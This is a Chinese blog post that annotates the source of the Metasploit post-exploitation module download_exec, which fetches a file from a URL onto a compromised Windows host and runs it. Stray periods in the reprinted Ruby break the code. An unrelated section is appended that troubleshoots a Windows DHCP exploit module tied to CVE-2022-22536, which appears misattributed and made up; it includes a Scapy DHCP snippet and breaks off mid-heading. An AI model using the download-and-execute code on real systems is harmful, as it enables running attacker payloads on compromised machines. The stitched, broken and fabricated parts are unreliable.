msf download_exec模块源码分析

本文介绍了一个Metasploit框架下的后渗透模块,该模块通过导入urlmon实现文件下载,并提供执行下载文件的功能。模块可在Windows平台上使用,支持Meterpreter会话,允许用户指定URL、下载路径、文件名等参数。

https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/download_exec.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info={})
    super(update_info(info,
      'Name'                 => "Windows Manage Download and/or Execute",
      'Description'          => %q{
        This module will download a file by importing urlmon via railgun.
        The user may also choose to execute the file with arguments via exec_string.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => ['win'],
      'SessionTypes'         => ['meterpreter'],
      'Author'               => ['RageLtMan']
    ))

    register_options(
      [
        OptString.new('URL',           [true, 'Full URL of file to download' ]),
        OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]),
        OptString.new('FILENAME',      [false, 'Name for downloaded file' ]),
        OptBool.new(  'OUTPUT',        [true, 'Show execution output', true ]),
        OptBool.new(  'EXECUTE',       [true, 'Execute file after completion', false ]),
      ]) #设置download_exec传入到参数,true表示必须的参数,false表示可选参数

    register_advanced_options(
      [
        OptString.new('EXEC_STRING',   [false, 'Execution parameters when run from download directory' ]),
        OptInt.new(   'EXEC_TIMEOUT',  [true, 'Execution timeout', 60 ]),
        OptBool.new(  'DELETE',        [true, 'Delete file after execution', false ]),
      ])

  end

  # Check to see if our dll is loaded, load and configure if not

  def add_railgun_urlmon.  #加载URLDowloadToFileW函数的地址

    if client.railgun.libraries.find_all {|d| d.first == 'urlmon'}.empty?
      session.railgun.add_dll('urlmon','urlmon')
      session.railgun.add_function(
        'urlmon', 'URLDownloadToFileW', 'DWORD',
          [
            ['PBLOB', 'pCaller', 'in'],
            ['PWCHAR','szURL','in'],
            ['PWCHAR','szFileName','in'],
            ['DWORD','dwReserved','in'],
            ['PBLOB','lpfnCB','inout']
      ])
      vprint_good("urlmon loaded and configured")
    else
      vprint_status("urlmon already loaded")
    end

  end

  def run #脚本的入口点

    # Make sure we meet the requirements before running the script, note no need to return
    # unless error
    return 0 if session.type != "meterpreter"

    # get time
    strtime = Time.now

    # check/set vars
    url = datastore["URL"] #读取参数
    filename = datastore["FILENAME"] || url.split('/').last

    path = datastore['DOWNLOAD_PATH']
    if path.blank?
      path = session.sys.config.getenv('TEMP')  #如果没有传入downlaod_path,就使用默认的temp路径
    else
      path = session.fs.file.expand_path(path)
    end

    outpath = path + '\\' + filename
    exec = datastore['EXECUTE']
    exec_string = datastore['EXEC_STRING']
    output = datastore['OUTPUT']
    remove = datastore['DELETE']

    # set up railgun
    add_railgun_urlmon

    # get our file
    vprint_status("Downloading #{url} to #{outpath}")
    client.railgun.urlmon.URLDownloadToFileW(nil,url,outpath,0,nil)  #核心代码下载文件

    # check our results
    begin
      out = session.fs.file.stat(outpath)
      print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
    rescue
      print_error("File not found. The download probably failed")
      return
    end

    # Execute file upon request
    if exec. #判断是否要执行下载的文件
      begin
        cmd = "\"#{outpath}\" #{exec_string}"

        print_status("Executing file: #{cmd}")
        res = cmd_exec(cmd, nil, datastore['EXEC_TIMEOUT'])
        print_good(res) if output and not res.empty?
      rescue ::Exception => e
        print_error("Unable to execute: #{e.message}")
      end
    end

    # remove file if needed
    if remove  #是否删除下载的文件
      begin
        print_status("Deleting #{outpath}")
        session.fs.file.rm(outpath)
      rescue ::Exception => e
        print_error("Unable to remove file: #{e.message}")
      end
    end
  end
end

在 Metasploit Framework 中,模块 `exploit/windows/dhcp/dhcp_server_service_exec` 用于利用 Windows DHCP Server 服务中的远程代码执行漏洞(CVE-2022-22536)。然而,在某些环境中,用户可能遇到该模块无法加载或找不到的情况。以下是对此问题的详细分析与解决方案。 ### 3.1 模块缺失的原因 该模块并非所有 Metasploit 版本都默认包含,尤其是在社区版(Metasploit Community)中,部分高级漏洞利用模块仅限 Pro 版本使用。因此,当尝试加载时出现 `[-] Failed to load module: exploit/windows/dhcp/dhcp_server_service_exec` 错误,很可能是因为当前使用的 Metasploit 环境不支持该模块 [^1]。 此外,如果本地 Metasploit 的模块数据库未更新至最新版本,也可能导致该模块无法被识别。 ### 3.2 验证并查找模块 首先,应通过内置命令确认是否存在该模块: ```bash msf6 > search dhcp_server_service_exec ``` 若返回空结果,则说明当前环境未包含此模块。此时应进一步检查 Metasploit 的安装路径下的模块目录: ```bash cd /usr/share/metasploit-framework/modules/exploits/windows/dhcp/ ls | grep dhcp_server_service_exec ``` 如发现文件不存在,则表明模块未被集成进当前框架中。 ### 3.3 更新 Metasploit 框架 为确保获取最新模块,建议运行以下命令更新整个 Metasploit 框架: ```bash msfupdate ``` 更新完成后重启 `msfconsole` 并再次尝试加载模块。需要注意的是,某些模块仍可能受限于许可证,仅在 Metasploit Pro 中提供 [^1]。 ### 3.4 替代方案:自定义模块或外部工具 如果无法获得官方模块,可以考虑以下替代方法: - **导入第三方模块**:从可信来源下载该模块的 `.rb` 文件,并将其放置在本地 Metasploit 模块目录中。 - **使用 Scapy 构造恶意 DHCP 请求**:借助 Python 和 Scapy 库,手动构造攻击载荷并发送到目标网络接口以触发漏洞。 示例 Scapy 脚本片段如下: ```python from scapy.all import * conf.checkIPaddr = False # 构造 DHCP Discover 包 dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0", dst="255.255.255.255")/UDP(sport=68, dport=67)/BOOTP(chaddr="00:00:00:00:00:00")/DHCP(options=[("message-type","discover"),"end"]) sendp(dhcp_discover) ``` ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值